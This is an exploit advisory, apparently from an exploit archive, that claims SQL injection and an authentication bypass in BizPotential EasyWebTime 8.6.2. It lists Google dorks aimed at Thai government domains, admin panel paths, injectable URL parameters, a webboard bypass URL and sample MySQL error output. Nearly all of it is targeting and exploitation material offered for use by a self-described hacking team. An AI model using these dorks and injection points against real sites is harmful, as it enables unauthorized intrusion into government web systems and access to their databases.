BizPotential EasyWebTime 8.6.2 SQL Injection / Bypass

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# Exploit Title : BizPotential EasyWebTime 8.6.2 SQL Injection / Bypass
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : bizpotential.com ~ ewtadmin.com
# Software Information Link : bizpotential.com/overview.php
# Software Affected Version : 8.6.2 and all previous versions.
# Software Price : 100$
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-592 - Authentication Bypass Issues
# CXSecurity Reference Link  : cxsecurity.com/ascii/WLB-2018090088

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BizPotential EasyWebTime 8.6.2 Thailand Government SQL Injection Vulnerability

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# Google Dorks :
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inurl:''/ewtadmin/'' site:go.th

inurl:''/main.php?filename='' site:go.th

inurl:''/ewtadmin/ewt/ccs/''

intext:''© Copyright 2007 - BizPotential.com - All Rights Reserved.''

intext:''Copyright 2007 - BizPotential Co., Ltd. - All Rights Reserved''

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# Admin Control Panel Paths :
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/ewtadmin/index.php
/ewtadmin82/
/ewtcommittee/index2331.php
/ewtadmin/ewt/DOMAINNAMEHERE_intranet/ewt_login.php

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# SQL Injection Exploit :
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/n_more3.php?page=[ID-NUMBER]&c_id=[SQL Injection]

/ewtadmin/ewt/[DOMAINNAME_web/n_more.php?c_id=[SQL Injection]

/more_news.php?offset=[SQL Injection]

/more_news.php?offset=-[ID-NUMBER]&cid=&startoffset=[SQL Injection]

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# Webboard Exploit Bypass :
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/ewtadmin/ewt/ccs/addquestion.php?wcad=5&t=1&filename=webboard

# Webboard Directory Path :
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/ewtadmin/ewt/ccs/index_question.php?wcad=5&t=1&filename=webboard

/index_question.php?wcad=5&t=1&filename=webboard

ccs.DOMAINNAME.go.th/index_question.php?wcad=5&t=1&filename=webboard

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# Example SQL Database Errors =>
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SELECT * FROM article_list WHERE c_id = '199'' and n_approve = 'Y'
ORDER BY n_date DESC LIMIT -20,20
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '-20,20' at line 1

SELECT * FROM article_list WHERE ( c_id = '' ) AND n_approve =
 'Y' AND (('2561-09-10 05:57:13' between n_date_start and n_date_end)
or (n_date_start = '' and n_date_end = '')) ORDER BY n_date
DESC,n_timestamp DESC LIMIT 60\\\',20
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '\\\',20' at line 1

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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